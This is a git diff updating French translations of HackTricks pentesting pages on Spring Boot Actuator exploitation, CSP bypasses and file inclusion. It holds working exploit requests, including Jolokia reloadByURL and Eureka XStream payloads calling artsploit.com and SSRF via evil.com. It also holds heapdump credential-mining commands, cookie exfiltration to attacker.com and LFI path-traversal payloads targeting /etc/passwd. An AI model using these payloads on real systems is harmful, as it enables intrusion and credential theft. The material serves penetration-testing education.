effectuer l'écrasement partiel. ## Références diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 3fe2e0226..3afb5ff95 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Depuis** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Exploitation des Spring Boot Actuators **Consultez l'article original sur** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Points clés :** -- Spring Boot Actuators exposent des endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette protection. -- Certains endpoints Actuator peuvent divulguer des données sensibles ou permettre des actions dangereuses : +- Spring Boot Actuators register endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité. +- Certains endpoints Actuator peuvent exposer des données sensibles ou permettre des actions dangereuses : - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, et `/heapdump`. -- Dans Spring Boot 1.x, les actuators sont enregistrés à la racine de l'URL, alors que dans 2.x, ils sont sous le chemin de base `/actuator/`. +- Dans Spring Boot 1.x, les actuators sont enregistrés sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base `/actuator/`. ### **Techniques d'exploitation :** 1. **Remote Code Execution via '/jolokia'**: - L'endpoint `/jolokia` expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans. -- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou Remote Code Execution via des configurations XML spécialement conçues. +- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou à du Remote Code Execution via des configurations XML malicieuses. - Exemple d'URL d'exploit : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Config Modification via '/env'**: +2. **Modification de la configuration via '/env'**: - Si les Spring Cloud Libraries sont présentes, l'endpoint `/env` permet la modification des propriétés d'environnement. -- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de deserialization XStream dans le serviceURL d'Eureka. -- Exemple de requête POST d'exploit : +- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de désérialisation XStream dans Eureka serviceURL. +- Exemple de requête POST d'exploitation : ``` POST /env HTTP/1.1 @@ -40,30 +40,30 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Other Useful Settings**: -- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que SQL injection ou la modification des chaînes de connexion à la base de données. +3. **Autres paramètres utiles**: +- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que des injections SQL ou la modification des chaînes de connexion à la base de données. ### **Informations supplémentaires :** -- Une liste complète des actuators par défaut est disponible [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Une liste complète des actuators par défaut peut être trouvée [ici](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - L'endpoint `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même. -### **Sujets connexes :** +### **Sujets liés :** 1. **Env + H2 RCE**: -- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base H2 sont disponibles [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base de données H2 disponibles [ici](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- La gestion par le framework Spring des paramètres matrix (`;`) dans les pathnames HTTP peut être exploitée pour du Server-Side Request Forgery (SSRF). -- Exemple de requête d'exploitation : +- Le traitement par le framework Spring des matrix parameters (`;`) dans les pathnames HTTP peut être exploité pour Server-Side Request Forgery (SSRF). +- Exemple de requête d'exploitation: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## HeapDump secrets mining (credentials, tokens, internal URLs) +## Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs) -Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets en direct (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). +Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). - Téléchargement et triage rapide : ```bash @@ -74,8 +74,8 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- Analyse plus approfondie avec VisualVM et OQL : -- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou exécutez OQL pour rechercher des secrets : +- Analyse approfondie avec VisualVM et OQL : +- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou lancez des OQL pour chasser les secrets : ``` select s.toString() from java.lang.String s @@ -86,19 +86,19 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or ```bash java -jar JDumpSpider-*.jar heapdump ``` -Résultats typiques à forte valeur : -- Objets Spring `DataSourceProperties` / `HikariDataSource` exposant `url`, `username`, `password`. -- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, les ports de service, et Basic-Auth intégré dans les URLs (par ex., Eureka `defaultZone`). -- Fragments de requêtes/réponses HTTP bruts incluant `Authorization: Basic ...` capturés en mémoire. +Découvertes typiques à haute valeur : +- Spring `DataSourceProperties` / `HikariDataSource` objects exposant `url`, `username`, `password`. +- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, ports de service et Basic-Auth intégré dans des URLs (par ex. Eureka `defaultZone`). +- Fragments de requêtes/réponses HTTP en clair incluant `Authorization: Basic ...` capturés en mémoire. Conseils : -- Utilisez une wordlist axée Spring pour découvrir rapidement les endpoints d'actuator (par ex., SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont également exposés. -- Les credentials issus du heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), donc essayez-les largement. +- Utilisez un wordlist orienté Spring pour découvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont aussi exposés. +- Les credentials extraits d'un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), testez-les largement. ## Abuser des loggers/logging d'Actuator pour capturer des credentials -Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de logs à DEBUG/TRACE pour les packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak credentials soumis lors des flux de connexion (par ex., en-têtes Basic-Auth ou paramètres de formulaire). +Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de log à DEBUG/TRACE pour des packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-têtes Basic-Auth ou paramètres de formulaire). - Énumérez et augmentez les loggers sensibles : ```bash @@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Déclenchez du trafic de login/authentification et analysez le log pour les creds. Dans des architectures microservices avec une gateway en front d'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les corps de formulaires. Certains environnements génèrent même périodiquement du trafic de login synthétique, rendant la récolte triviale une fois que le logging est verbeux. +- Déclenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements génèrent même du trafic de login synthétique périodiquement, rendant la collecte triviale une fois le logging verbeux. -Remarques : +Notes : - Réinitialisez les niveaux de log une fois terminé : `POST /actuator/loggers/` avec `{ "configuredLevel": null }`. -- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des metadata récentes de requêtes qui peuvent inclure des headers sensibles. +- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des métadonnées de requêtes récentes qui peuvent inclure des headers sensibles. ## References diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 4e27941bd..69c01706a 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Qu'est-ce que CSP +## Qu'est-ce que le CSP -Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que cross-site scripting (XSS)**. Elle fonctionne en définissant et détaillant les chemins et sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources englobent une variété d'éléments tels que les images, les frames et le JavaScript. Par exemple, une politique peut permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout`, ou `setInterval`. +Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en précisant les chemins et les sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources couvrent divers éléments tels que des images, des frames et du JavaScript. Par exemple, une politique peut autoriser le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`. -La mise en œuvre de CSP se fait via **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent de manière proactive ces stipulations et bloquent immédiatement toute violation détectée. +La mise en œuvre de CSP se fait via les **entêtes de réponse** ou en incorporant des **balises meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent ces règles de manière proactive et bloquent immédiatement toute violation détectée. -- Implémenté via un en-tête de réponse: +- Implémenté via l'en-tête de réponse: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ```xml ``` -### En-têtes +### Headers -CSP peut être appliqué ou surveillé via ces en-têtes : +Le CSP peut être appliqué ou surveillé en utilisant ces en-têtes : - `Content-Security-Policy`: Applique la CSP ; le navigateur bloque toute violation. -- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnement de pré-production. +- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnements de pré-production. ### Définition des ressources -CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects tels que l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est : +CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects comme l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est : ```bash default-src 'none'; img-src 'self'; @@ -39,36 +39,36 @@ object-src 'none'; ``` ### Directives -- **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URLs, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. -- **default-src**: Définit une politique par défaut pour la récupération de ressources lorsque des directives de récupération spécifiques sont absentes. +- **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URL, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. +- **default-src**: Définit une politique par défaut pour la récupération des ressources lorsque des directives de récupération spécifiques sont absentes. - **child-src**: Spécifie les ressources autorisées pour les web workers et le contenu des frames intégrées. -- **connect-src**: Restreint les URLs qui peuvent être chargées via des interfaces comme fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Restreint les URLs pour les frames. -- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page courante, applicable aux éléments comme ``, ` // The bot will load an URL with the payload @@ -548,22 +548,22 @@ run() ``` ### Via Bookmarklets -Cette attaque implique une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de glisser\&déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **javascript malveillant** qui, une fois glissé\&déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web courante, **contournant le CSP et permettant de voler des informations sensibles** telles que les cookies ou les tokens. +This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Contournement du CSP en restreignant le CSP +### CSP bypass by restricting CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. +In [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -Vous pouvez **restreindre le CSP d'un iframe** avec l'attribut **`csp`** : +You can **restrict a CSP of an Iframe** with the **`csp`** attribute: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP** de sorte qu'un script empêchant la **CSTI** ait été désactivé et que, par conséquent, la **vulnérabilité soit devenue exploitable.**\ -Une **CSP** peut être rendue plus restrictive en utilisant des **HTML meta tags**, et les inline scripts peuvent être désactivés en **supprimant** l'**entrée** autorisant leur **nonce** et en **autorisant un script inline spécifique via sha** : +Dans [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP**, de sorte qu'un script empêchant la **CSTI** a été désactivé et que la **vulnérabilité est devenue exploitable.**\ +La CSP peut être rendue plus restrictive en utilisant des **HTML meta tags** et les **inline scripts** peuvent être désactivés en **supprimant** l'**entrée** permettant leur **nonce** et en **activant un script inline spécifique via sha**: ```html ``` -### Exfiltration JS avec Content-Security-Policy-Report-Only +### JS exfiltration with Content-Security-Policy-Report-Only -Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur que vous contrôlez** (peut-être à cause d'un CRLF), vous pouvez le faire pointer vers votre serveur et si vous **entourez** le **contenu JS** que vous voulez exfiltrer avec **`` — notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait exploiter l'**attaque SOME** via le **callback** **endpoint** vulnérable qui **contourne la CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ -Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Un attaquant peut abuser de cet endpoint pour **generate a SOME attack** contre WordPress et **embed** celui-ci à l'intérieur de `` notez que ce **script** sera **loaded** parce qu'il est **allowed by 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser du **SOME attack** via le **vulnerable** **callback** endpoint qui **bypasses the CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ +For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## Contournements d'exfiltration CSP +## CSP Exfiltration Bypasses -S'il existe une CSP stricte qui ne permet pas d'**interagir avec des serveurs externes**, il y a quelques techniques que vous pouvez toujours utiliser pour exfiltrer l'information. +If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location -Vous pouvez simplement mettre à jour la location pour envoyer au serveur de l'attaquant les informations secrètes: +You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` -### Meta tag +### Balise meta -Vous pouvez rediriger en injectant une meta tag (c'est juste une redirection, cela ne va pas leak le contenu) +Vous pouvez rediriger en injectant une balise meta (c'est juste une redirection, cela n'entraînera pas de leak de contenu) ```html ``` ### DNS Prefetch -Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.\ +Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\ Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `` -Vous pouvez abuser de ce comportement pour **exfiltrate sensitive information via DNS requests**: +Vous pouvez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** : ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -693,16 +693,16 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP : +Pour éviter cela, le serveur peut envoyer l'en-tête HTTP : ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Apparemment, cette technique ne fonctionne pas dans les headless browsers (bots) +> Apparemment, cette technique ne fonctionne pas dans headless browsers (bots) ### WebRTC -Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la directive `connect-src` du CSP**. +Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP. En fait, vous pouvez _leak_ des informations en utilisant une _DNS request_. Regardez ce code: ```javascript @@ -726,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Le credential popup envoie une requête DNS vers l'iconURL sans être restreint par la page. Il ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost. +La popup de credential envoie une requête DNS vers iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -742,7 +742,7 @@ iconURL:"https:"+your_data+"example.com" - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Création automatique de CSP +## Génération automatique de CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 2fc8565c5..a2908636b 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,54 +4,54 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). In php this is **désactivé** by default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php ceci est **désactivé** par défaut (**allow_url_include**).\ **Local File Inclusion (LFI):** Le serveur charge un fichier local. -La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier que le serveur va charger. +La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier qui va être chargé par le serveur. -Vulnérables **PHP functions**: require, require_once, include, include_once +Fonctions **PHP** vulnérables : require, require_once, include, include_once -Un outil intéressant pour exploiter cette vulnérabilité: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE files +## Blind - Intéressant - fichiers LFI2RCE ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**En combinant plusieurs listes LFI \*nix et en ajoutant davantage de chemins, j'ai créé celle-ci :** +**En mélangeant plusieurs listes \*nix LFI et en ajoutant d'autres chemins, j'ai créé celle-ci :** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Essayez aussi de changer `/` par `\`\ -Essayez aussi d'ajouter `../../../../../` +Essayez également de remplacer `/` par `\`\ +Essayez également d'ajouter `../../../../../` -Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Fusion de différentes wordlists: +Fusion de différentes wordlists : {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Essayez aussi de changer `/` par `\`\ -Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../` +Essayez également de remplacer `/` par `\`\ +Essayez également de supprimer `C:/` et d'ajouter `../../../../../` -Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Consultez la liste LFI de linux. -## LFI basique et contournements +## Notions de base LFI et bypasses -Tous les exemples sont pour Local File Inclusion mais pourraient aussi être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Tous les exemples concernent Local File Inclusion mais peuvent également être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass of: $\_GET\['param']."php") +Contourner l'ajout de caractères à la fin de la chaîne fournie (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ Ceci est **résolu depuis PHP 5.4** ### **Encodage** -Vous pouvez utiliser des encodages non standard comme double URL encode (et d'autres) : +Vous pouvez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) : ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,43 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Depuis un dossier existant -Peut-être que le back-end vérifie le chemin du dossier: +Peut-être que le back-end vérifie le chemin du dossier : ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Explorer les répertoires du système de fichiers sur un serveur +### Exploration des répertoires du système de fichiers sur un serveur -Le système de fichiers d'un serveur peut être exploré de façon récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Ci-dessous une méthode détaillée pour y parvenir : +Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir : -1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois : +1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois : ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 : +2. **Sondez les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran : ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe : - **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié. - **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée. +4. **Exploration récursive :** Les dossiers découverts peuvent être sondés plus en profondeur pour trouver des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles Local File Inclusion (LFI). -4. **Exploration récursive :** Les dossiers découverts peuvent être davantage sondés pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI). - -Pour explorer des répertoires à différents emplacements du système de fichiers, adaptez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez : +Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant est à une profondeur de 3), utilisez : ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation est une méthode employée pour manipuler des chemins de fichier dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré. +La path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité. -En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple : +En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, et `/etc/passwd/` sont tous traités comme le même chemin. -- Quand les 6 derniers caractères sont `passwd`, ajouter un `/` (obtenant `passwd/`) ne change pas le fichier ciblé. -- De même, si `.php` est ajouté à un chemin de fichier (par exemple `shellcode.php`), ajouter un `/.` à la fin n'altérera pas le fichier accédé. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. +- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. -Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations de comptes utilisateur) : +Les exemples fournis montrent comment utiliser la path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -126,17 +125,17 @@ 